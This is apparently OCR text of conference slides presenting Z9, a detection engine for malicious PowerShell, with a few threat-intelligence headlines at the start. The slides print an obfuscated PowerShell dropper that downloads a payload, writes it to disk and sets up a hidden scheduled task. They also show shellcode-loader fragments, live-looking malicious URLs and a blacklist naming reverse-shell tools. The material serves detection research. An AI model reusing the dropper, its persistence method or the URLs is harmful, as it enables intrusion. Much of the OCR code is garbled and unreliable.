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New '"PowerDrop' PowerShell malware targets U.S. aerospace
industry
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RedEyes (ScarCruft)’'s CHM Malware Using the Topic of
Fukushima Wastewater Release

The AhnLab Security Emergency response Center (ASEC) analysis team has recently discovered that the CHM malware,
which is assumed to have been created by the RedEyes threat group, is being distributed again. The CHM malware in
distribution operates in a similar way to the “CHM Malware Disguised as Security Email from a Korean Financial
Company"[1] covered in March of this year and also uses the same ¢ nds used in the “2.3. [2] stage in
the attack process of the RedEyes group’s M2RAT malware'.
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Crambus: New Campaign Targets

Iran-linked attackers compromised multiple computers and servers over
the course of eight months.

The Iranian Crambus espionage group (aka OilRig, APT34) staged an eight-month-long intrusion against a
government in the Middle East between February and September 2023. During the compromise, the
attackers stole files and passwords and, in one case, installed a PowerShell backdoor (dubbed
PowerExchange) that was used to monitor incoming mails sent from an Exchange Server in order to execute

commands sent by the attackers in the form of emails, and surreptitiously forwarded results to the




Challenges in Analyzing Powershell Scripts

sEt-ItEm varIaBle:t3e0 ([TypEl("{2}{3}{1}{@}"-F'NCODing','EXt.E','S"','YSTEM.T') ); seT-item ("vaRIA"+"bL"+"E"+":yL4021") ([TYpEl("{@}{1}{2}"-F 'S','YSTEm.','cOnVeRt')) ; SET ("9Pzh
"+'wB") ( [TYpE]("{2}{0}{1}" -f 'o','.fILE','i"') ) ; .("{3X{1}{e}{2}" -f'tri','t-S', 'ctMode','Se') -Version 2
function IUiu T cCHS (${aQ'NHRg hBbe 'H qEe},${1 pOMTye 1 Yk}) {
for (${w'ToTY} = 0; ${w' T°0tY} -1t ${A qn’Hr gHBb Ehqgee}."CO Unt"; ${W Toty}++) {
${AQnhR* Gh" B BeHQEe} [${WTO Ty}] = (${Aq NhRghBBE 'H'q EE}[${w TOtY}] -bxor ${LP'Omty Elyk})

}
return ( Get-variAble T3E0O -VALWUE)::"as' ciI"."g EtSTri'NG"(${Aq N'hRGhbBEhQ'eE})

function SoM'RX"iA {return (1..16 | .('%'){ '{0:X}' -f (&("{2}{1}{@}" -f 'ndom','t-Ra‘','Ge') -Max 16) }) -join ''}
${FTf VsQKT FC} = ("{5}{2}{3}{1}{6}{8}{0}{7}{4}" f'ra."', 'ncent','p:','//vi', 'om/b.php?u=r/", 'htt','n',"c', icot")
${F gSjq} = (.("{2}{0}{3}{1}" -f'UiUt','S','i','CcH') ([System.Byte[]] @(@x66,0x73)) 16)
${tkIN FP} = (&("{@}{2}{1}"-f 'iuiutCc','S','H"') ([System.Byte[l] @(@x7c,0x2d,0x43,0x72,0x72,0x46,0x63,0x76,0x63,0x2d,0x4e,0x6d,dx61,0x63,0x6€e,0x2d,0x4f,0x6b,0x61,0x70,0x6d,0x71,0x6d, 06
4,0x76,0x2d, 0x55, 0x6b, @x6C, 0x66,0x6d, 0x75,0x71,0x2d, 0x52,0x6d, 0x75,0x67,0x70,0x51,0x6a,0x67,0x6€,0x6e,0x2d)) 2)
.('cd') ${TKI'Nfp}
${Nb" ejMyyX} = (&("{0}{1}{2}" -f's','OMRx', 'iA"))+(.("{@}{1}{2}"-f'iUi', 'UtCc','HS"') ([System.Byte[]l] @(@x64,0x3c,0x28,0x39)) 74)
${FHdd Av'gbL} = (.("{1}{e}" -f 'd','pw')).("{0}{2}{1}"-f'ToSt"','g"', 'rin').Invoke() + '\' + ${n BEjMy YX}
${j PdgnUa’Bm} = (.("{1}{@}"-f 'iA','sOMRx')) + (.("{2}{1}{e}" -f 'iA','Rx','sOM'))
${S"UA0j} = $(.("{2H{1}{e}"-f 'mi','a’, 'who'))
${AgN'Hr'ghB} = (&("{2}{1}{0}"-f'HS"', 'tCc','iUil') ([System.Byte[]] @(@x4f,0x6f,0x57,0x2f,0x5f,0x50,0x72,0x42,0x4f,0x25,0x5¢C,0x66,0x75,0x5e,0x47,0x63,0x47,0x4e,0x5¢,0x78,0x72,0x41,0x27,
0x7a,0x74,0x78,0x44,0x6¢c,0x5d, 0x52,0x57,0x66,0x55,0x78,0x58, 0x7a, 0x72,0x55, 0x54,0x6¢c, 0x5f,0x52,0x26,0x71,0x47,0x25,0x5C, 0x7a, 0x4f,0x4e,0x44,0x7a, 0x42,0x24,0x5¢c, 0x67 ,0x4c,0x41,0x58,0x26,0
x5d, @x55,0x5c, 0x4e,0x43,0x24,0x58,0x6T,0x77,0x4e,0x54,0x26,0x5a,0x7a,0x58,0x79,0x4c,0x41,0x6e,0x65,0x5f, 0x7f, 0x7d, 0x5d, 0x75,0x6T,0x23,0x45,0x72,0x41,0x22,0x71,0x5f,0x78,0x54,0x60,0x72,0x
24,0x40,0x6f,0x75,0x24,0x7e,0x7a,0x74,0x51,0x61,0x63,0x4c, 0xde,0x7e, 0x7a, 0x5f,0x55,0x27,0x7a,0x73,0x51, 0x40,0x7c,0x5f,0x51,0x5¢, 0x23,0x75,0x51,0x50,0x6C, 0x75,0x6f,0x57,0x7f,0x5f, 0x55, 0x4
f,0x71,0x4f,0x6f,0x61,0x61,0x55,0x71,0x2b,0x2b)) 22);
${h*dNMbov} = ( geT-itEM ("VARIA"+"BL"+"E"+":Y14021") ).VALluE::("{2}{1}{0}"-f'64String',"'se', 'FromBa').Invoke(${a"QNh RGhb})
(IteM ('variabL'+'E:9'+'p'+'zh'+'wB')).vALUe:: ("{2}{0}{3}{1}" -f 'riteall’,'ytes','w','b').Invoke(${Fh DdavG BL},${hdN mBoV})
${U FPQf VG} = (.("{1}{0}"-f'wd','p')).("{0}{2}{1}"-f'ToSt', 'ng','ri').Invoke() + "\'
${G'RIW} = (.("{1}{@}" -f 'RxiA','sOM'))
${mB WV} = '"' + (&("{0}{1}{2}" -f'i','UiUtCc','HS') ([System.Byte[]] @(@x29,0x25,0x38,0x60,0x68,0x29,0x37,0x32,0x60,0x6d,0x35,0x33,0x25,0x22,0x60)) 64) + "$FTFVSQKTFCc$FGsIQ/$griw)" + "

${r'R*LpE} = . ("{4}{1}{2}{0}{5}{6}{3}"-f '1','c', 'hedu’,'n’', 'New-S', 'edTaskAct','io') -Execute "$UFpqFvg$nBEImyYX" -Argument ${m’BwWv}

${yB'GK'R UIL} = &("{2}{0}{5}{6}{7}{4}{1}{3}"~f 'e','ri', 'New-Sch', 'ncipal’,'skP','d','ule','dTa') "$sLaol"

${n'CB'RXdEv} = .("{1}{4}{2}{3}{0}" -f'rigger’', 'New-','edTask','T', 'Schedul') -Once -At (&("{1}{0}{2}"-f'at', 'Get-D',6'e')) -RepetitionInterval (&("{2}{@}{1}"-f'ew-Ti', 'meSpan','N') -Minu
tes 1) -RepetitionDuration (.("{3}{1}{@}{2}" —-f 'im','-T','eSpan', 'New') -Days(365))

${SWD X Ljqgbzd} = &("{4}{0}{3}{1}{2}"-f'hedu’, 'ing"', 'sSet"', 'ledTaskSett"', 'New-Sc') -Hidden -MultipleInstances ("{1}{@}{2}"-f 'lle','Para','l') -AllowStartIfOnBatteries
("{2}{3}{4}{0}{1}" -f 'eduledTas','k','Re','gist','er-Sch') -TaskName ${Jp d GNUa'BM} -Action ${RR1 Pe} -Trigger ${n C'B RxDev} -Settings ${swD XLj Q' BZD}Z




Powershell Malware

Powershell Malware
Obfuscation Layer |

- Scripting language
- After the initial attack, it is executed filelessly
- obfuscated in multiple ways

Original Code

Problems of Reversing PowerShell Malware

- must carefully deobfuscate each layer individually
- may develop a tools to reverse the obfuscation process automatically but this
tools will only be effective for a specific malware variant



z9

Z9 is Malicious powershell script determination engine

Obfuscation Layer |

Original Code Z9 FGPOFt
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D e | I I O | l Stra tI O | l Zo Home Upload Blog  AboutUs  Github
29 JSON Viewer
[{"eventrecid": "1179947", "time": {"SystemTime": "2023-07-02T09:32:16.9082550Z"}, "totalscore": {"totalscore": 44.771068749531665,
"results": {"detect_iex": 0, "extract_url": 0, "detect_sign": 0, "randomized_string": 0, "detect_strings_blacklist": 0, "logistic_reg":
htt B / / 9 h . | b / 44.771068749531665}}, "sourcecode": "\\2023-07-05-04_04_58_4fc64c004872469633dF2baf7d1702b9.ps1", "removed_backtick”: "\\2023-07-
pPS:.//Z29.SNIN0.CIU
Summary
Num of Logs 24
Malicious Script Detected Yes
Malicious Score 437
Details
ID Time Score Logistic URLs Suspicious IEX Too Randomized Source Code
Regression Strings much String
Symbols
1179947 2023-07- 44 44% 0% 0% Length:58
02T09:32:16.9082550Z View
Zp  Home  Upload Blog  AboutUs  Github without BackTick
Status
ww.labofapenetrationtester.com/2015/05/week-of- . 0% 0% Length:4404
Queue: 0 Processing: 56 Done: 1160 String Score
phell-shells-day-1.html Ve
Upload github.com/nettitude/powershell/blob/master/powerfun.ps1 invoke- 100
Max Size: 10MB github.com/samratashok/nishang powershelltcp without BackTick
Drop files here to upload o= W Letgtiats
View
without BackTick

Copyright © 2022 Z9 Team All Rights Reserved

Or paste the source code

paste here

Submit

Copyright © 202229 Te



https://z9.shino.club/

Z9 Overview (On-Premise)

1 Z9
(D execute Q json
@ parse the eventlog
Poggz:ftle" h Eventlog | HEmEE) @ run detection engine —=
@ generate report html
~_

Windows environment




Z9 Overview (Cloud)

user

(Dupload script

website

<

© HTML report

@boot the sandbox

sandbox

@download the script

@ upload the result

@ run the script
® collect event logs
® execute Z9

shut down the sandbox




feature

Black list

Obfuscation Detection

loC Extract

Invoke Expression
Blacklist

Logistic Regression (Machine Learning)

Symbol Rate
Randomized String

URL




BlackList

Source Code event log

$s=New-Object IO.MemoryStream(, [Cc ] : :FromBase64String At s LR e
"HASTAAA /aSLIu- ; SVU rAGAND t

unction func_get
Param ($var_module, Svar_procedure)
$var_unsafe_native_methods = ([AppDomain] rrentDomain.Gethssenhlies() | Where-O
$var_gpa = $var_unsafe_native_methods.Get e ('GetProcAddress’, [Type[]l] @ ('System.
return Svar_gpa.In {Snull, @([System.Runtime.InteropServices.HandleRef] {New-Ob i

unction func_get
Param (
[Parameter (Position = 0, Mandatory = $True)] [Typel]l] $var_parameters,
[Parameter(Position = 1)] [Type] Svar_return_type = [Void]

$var_type_builder = [AppDomain ent n.Defin { (New-Object
$var_type_builder.Def ineConst ructor {'RTSpecialName, HideBySig, Public', [System.Reflection
Svar_type_builder.Def ineMethod ('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_t

1ti return Svar_type_builder.

] I0.StreamReader(New-Object IO.
Compression.GzipStream($s,[10. [ 1 IF ([IntPtr] : eq 8) |
: :Decompress) ) ) .ReadToEnd() ; [Byte[]]%var code = [System.Convert]::FromBa: String('s70zs70zs255YnF2a6rGasLPAylM

https://z9.shino.club/result.php?file=2023-07-06-01_38_26_57736120aa9346d8c52a7331{7c9f625



https://z9.shino.club/result.php?file=2023-07-06-01_38_26_57736120aa9346d8c52a7331f7c9f625

BlackList : logistic regression

Github

Malware CO||eCt

) tf-idf
classify

Bazaar

Logistic
Regression
training Model




Obfuscation Detection

Randomized String

$10NG8z2T8L5eHGDT=1; $8BUUbOOr78aF7Swl=2; $rArxpsVUeulWgKAmE=3; $9TFGyripAoLapbdr=4;$tijCZykNN2nn4WmH=5 ; $c4

MbKFZKaUSrHvCi=6; $ucr0iQx531fcSuBv=7; $QYR4uPdaaOkemmoE=8; $qkq5Ga4t1UydTAnB=9; $8zQkYLEcdTZOX1IM=10; $meUH

D Time Score Logistic URLs Suspicious IEX Too much Randomized String Source Code
Regression Strings Symbols
1179944 2023-07-02T09:32:18.1005294Z 37 37% 0% Length:58
View  without BackTick
1179946 2023-07-02709:32:18.4194906Z 13% 0% Length:306
View  without BackTick
1179950 2023-07-02T09:32:18.4848068Z 37 37% 0% Length:46

View  without BackTick

Symbol Rate

1] Time Score Logistic URLs Suspicious IEX Too much Randomized String Source Code
Regression Strings Symbols
1179944 2023-07-02709:32:16.6323336Z 36 36% 0% 0% Length:58

View  without BackTick

1179946 2023-07-02709:32:17.0368548Z 19% 92% 0% Length:626
View  without BackTick

1179952 2023-07-02709:32:18.4451424Z 1% ounded 0% 0% Length:147

View  without BackTick




17438

17440

17442

17448

loC Extract URL

Time

2023-02-
08T10:49:55.3557845Z

2023-02-
08T10:49:55.5984578Z

2023-02-
08T10:49:55.69587467Z

2023-02-
08T10:49:56.9604150Z

Score

134

Logistic URLs Suspicious IEX

Regression Strings

35%

2% String Score
frombase64string 10

24% P

23%

String

-

http://www.naklafshtabuk.com/wp-
content/sEXEZ9EbmM6TOE/

http://jobcity.com/img/RIMOXpX/
https://boleo.nl/connectors/66PGODE1Hhay4e/
http://windsurfingthailand.org/admin/3hjymRPe4cR4h/
http://www.valyval.com/pun/hT/
http://withvac001.dothome.co.kr/asset3/sLnFk8iIFUWPAI1TmAFQ/

~

frombase64string 10

\_ /

Too
much
Symbols

0%

0%

0%

0%

Randomized
String

0%

0%

0%

0%

Source Code

Length:58

View

Length:937

View

Length:936

View

Length:528

View



Results

293 samples (from 2022/09/02 to 2023/07/04 in malwarebazaar)

detect_strings_bl...

detect_iex
rand 2.4%
randomized_string
o5 1.6% £ )
o detect_sign
11.0%
Yes
74.4% y
logistic_reg
78.9%

detection results main factor



thank you for your kind attention!!!
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Shunya Yamaguchi (Tutor)

Twitter(X)

Shota Shinogi (Leader)

created by Team z9 in Security Camp 2022

https://z9.shino.club/

https://qgithub.com/Sh1n0g1/z9
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